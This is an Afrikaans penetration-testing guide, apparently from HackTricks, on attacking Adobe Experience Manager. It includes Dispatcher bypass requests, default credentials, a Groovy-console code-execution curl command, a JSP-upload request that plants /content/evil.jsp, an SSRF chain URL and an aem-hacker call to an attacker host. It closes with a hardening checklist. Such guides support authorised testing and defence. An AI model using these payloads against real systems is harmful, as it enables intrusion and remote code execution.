118 lines
5.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop.
> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard akrediteer en 'n lang stert van CVE's bloot wat elke kwartaal reggestel word.
Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Ander vinnige aanwysers:
* `/etc.clientlibs/` statiese pad teenwoordig (gee JS/CSS terug).
* `/libs/granite/core/content/login.html` aanmeldblad met die “Adobe Experience Manager” banier.
* `</script><!--/* CQ */-->` kommentaar aan die onderkant van HTML.
---
## 2. Hoë-waarde nie-geoutentiseerde eindpunte
Pad | Wat jy kry | Aantekeninge
---- | ------------- | -----
`/.json`, `/.1.json` | JCR knope via **DefaultGetServlet** | Dikwels geblokkeer, maar *Dispatcher omseiling* (sien hieronder) werk.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Lek van bladboom, interne pades, gebruikersname.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsole | 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE.
`/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
`/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering.
`/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting.
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS-vak.
### Dispatcher omseiling truuk
Meeste produksie-webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
'n Enkele versoek soos hierbo openbaar dikwels gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】
---
## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025)
1. **Anonieme POST servlet** `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】
2. **Wêreldleesbare gebruikersprofiele** standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal.
3. **Standaard akrediteer** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
5. **Groovy Console blootgestel** afstandkode-uitvoering deur 'n Groovy-skrip te stuur:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Onlangse kwesbaarhede (dienspakket kadens)
Kwartaal | CVE | Aangetas | Impak
------- | --- | -------- | ------
Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akker). 【】
Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】
Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】
Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Crypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】
Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*.
---
## 5. Exploitasiestukke
### 5.1 RCE via dispatcher omseiling + JSP opgelaai
As anonieme skryf moontlik is:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Now request `/content/evil.jsp` die JSP loop met die AEM proses gebruiker.
### 5.2 SSRF na RCE (histories < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py` van **aem-hacker** outomatiseer die volle ketting. 【】
---
## 6. Gereedskap
* **aem-hacker** Switserse leër enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Inhoud Brute-force** herhalend versoek `/_jcr_content.(json|html)` om verborge komponente te ontdek.
* **osgi-infect** laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is.
---
## 7. Versterking kontrolelys (vir jou verslag se aanbevelings)
1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22).
2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML.
3. Versterk **Dispatcher filters** weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers.
4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists.
5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is.
## Verwysings
* Adobe Security Bulletin APSB24-69 “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”.
* 0ang3el aem-hacker hulpmiddel (GitHub).
{{#include ../../banners/hacktricks-training.md}}